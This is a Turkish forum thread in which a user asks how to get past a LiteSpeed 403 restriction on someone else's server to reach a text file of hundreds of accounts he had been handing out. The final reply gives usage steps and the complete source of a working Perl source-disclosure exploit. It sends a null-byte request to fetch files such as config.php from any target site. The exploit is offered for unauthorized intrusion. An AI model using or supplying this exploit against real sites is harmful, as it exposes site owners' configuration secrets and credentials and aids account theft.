Forum
Aktif konular
Üyeler
Kurallar
Arama
Litespeed Web Server İle Kısıtlanmış Dosyaya Erişim? Litespeed Web Server İle Kısıtlanmış Dosyaya Erişim?
-
Merhaba arkadaşlar , bir .txt dosyası var chmodları farklı bir sunucudan oluşturulan php dosyası ile bu txtnin editlenebileceği şekilde ayarlanmış.
1-2 gün önce erişebiliyordum ama şimdi her nasılsa şifrelemişler. Şöyle bir uyarı vermekte :
403 Forbidden
Access to this resource on the server is denied!
Powered By LiteSpeed Web Server
LiteSpeed Technologies is not responsible for administration and contents of this web site!Bunu mutlaka bir şekilde aşmalıyım. Lütfen yardım edin , ölüm kalım meselesi.
www.domain/klasör1/klasör2/klasör3/dosya.txt şeklinde
www.domain/klasör1/klasör2/klasör3/ adresine girdiğimde dosya listesini görebiliyorum.
Yardım ... :|
not : Hata varsa konum silinmesin lütfen cevaplara gerçekten ihtiyacım var.
-
bi şekilde yetki vericeksin başka yolu yok git sunucunun os unu öğrenip exploit ara...
-
coldfusion bunu yazdı:
-----------------------------
bi şekilde yetki vericeksin başka yolu yok git sunucunun os unu öğrenip exploit ara...
-----------------------------Merhaba arkadaşlar , bir .txt dosyası var chmodları farklı bir sunucudan oluşturulan php dosyası ile bu txtnin editlenebileceği şekilde ayarlanmış.
bu yazdığım bilgi işe yaramaz mı :(
Bahsettiğim txt dosyasında yüzlerce evet 100lerce hesap kayıtlı ! ulaşıp oradan dağıtıyordum sizlere.. ama şimdi ulaşamıyorum yardım ... Yardımı dokunanlarla adresi paylaşıcam :/ unutmayın 10000000lerce !!
-
uzman olsam yapardım bişeyler ama tbtdede artık eskisi kadar usta kalmadı amatör doldu... linki ver uğraşalım
-
coldfusion bunu yazdı:
-----------------------------
uzman olsam yapardım bişeyler ama tbtdede artık eskisi kadar usta kalmadı amatör doldu... linki ver uğraşalım
-----------------------------linki isteyen pm atsın ulu orta vermeyelim :|
-
schizophrenictr bunu yazdı:
-----------------------------
coldfusion bunu yazdı:
-----------------------------
uzman olsam yapardım bişeyler ama tbtdede artık eskisi kadar usta kalmadı amatör doldu... linki ver uğraşalım
-----------------------------linki isteyen pm atsın ulu orta vermeyelim :|
-----------------------------chmod öyle bi ayarlandı ki okuma izni yok :)
-
myblackworldweb bunu yazdı:
-----------------------------
schizophrenictr bunu yazdı:
-----------------------------
coldfusion bunu yazdı:
-----------------------------
uzman olsam yapardım bişeyler ama tbtdede artık eskisi kadar usta kalmadı amatör doldu... linki ver uğraşalım
-----------------------------linki isteyen pm atsın ulu orta vermeyelim :|
-----------------------------chmod öyle bi ayarlandı ki okuma izni yok :)
-----------------------------olmalı :|
-
up
-
Cevap biraz geç olacak ama LiteSpeed'in henüz çokta eski sayılmayan bir açığı var
bu açık sayesinde LiteSpeed Web Server üzerindeki istediğin .php tarzı dosyaları okuyabiliyorsun
Anlatıma Geçelim:
Exploiti Kullanman İçin Bilgisayarında Perl Yüklü Olmalıdır Strawberry Perl öneririm
Aşağıda Vereceğim Exploit Kodlarını lite.pl olarak kaydet ve C:\Perl\Bin Klasörüne At
Sonra Başlat > Çalıştır > cmd
Gelen Ms-Dos Ekranına cd.. komutunu vererek C:\ dizinine kadar tekrarla C:\ ulaştıktan sonra
cd C:\perl\bin Yazıp Enter'la ve Sonra Exploit Kodumuzu Yazıyoruz
perl lite.pl www.hedefsitemiz.com config.php
bu komut sana doğrudan config.php dosyasının içeriğini verir :) yani rahatça okursun.
Exploit Kodları:
#!/usr/bin/perl # #LiteSpeed Technologies Web Server Remote Source Code Disclosure zero-day Exploit #By Kingcope #Google search: ""Proudly Served by LiteSpeed Web Server"" #June 2010 #Thanks to TheDefaced for the idea, http://www.milw0rm.com/exploits/4556 # use IO::Socket; use strict; sub getphpsrc { my $host = shift; my $file = shift; if (substr($file, 0, 1) eq "/") { $file = substr($file, 1); } my $file2 = $file; $file2 =~ s/\//_/g; print "Saving source code of $file into $host-$file2\n"; my $sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => '80', Proto => 'tcp') || die("Could not connect to $ARGV[0]"); print $sock "GET /$file\x00.txt HTTP/1.1\r\nHost: $ARGV[0]\r\nConnection: close\r\n\r\n"; my $buf = ""; my $lpfound = 0; my $saveme = 0; my $savveme = 0; while(<$sock>) { if ($_ =~ /LiteSpeed/) { $lpfound = 1; } if ($saveme == 2) { $savveme = 1; } if ($saveme != 0 && $savveme == 0) { $saveme++; } if ($_ =~ /Content-Length:/) { $saveme = 1; } if ($savveme == 1) { $buf .= $_; } } if ($lpfound == 0) { print "This does not seem to be a LiteSpeed Webserver, saving file anyways.\n"; } open FILE, ">$host-$file2"; print FILE $buf; close FILE; print "Completed.\n"; } print "LiteSpeed Technologies Web Server Remote Source Code Disclosure Exploit\n"; print "By Kingcope\n"; print "June 2010\n\n"; if ($#ARGV != 1) { print "Usage: perl litespeed.pl \n"; print "Example: perl litespeed.pl www.thedomain.com index.php\n"; exit(0); } getphpsrc($ARGV[0], $ARGV[1]); print "Operation Completed :>.\n";Umarım Faydalı Olmuştur Geçte Olsa :)
Kısayol
Şikayet
Özel Mesaj
Alıntı yap
Cevapla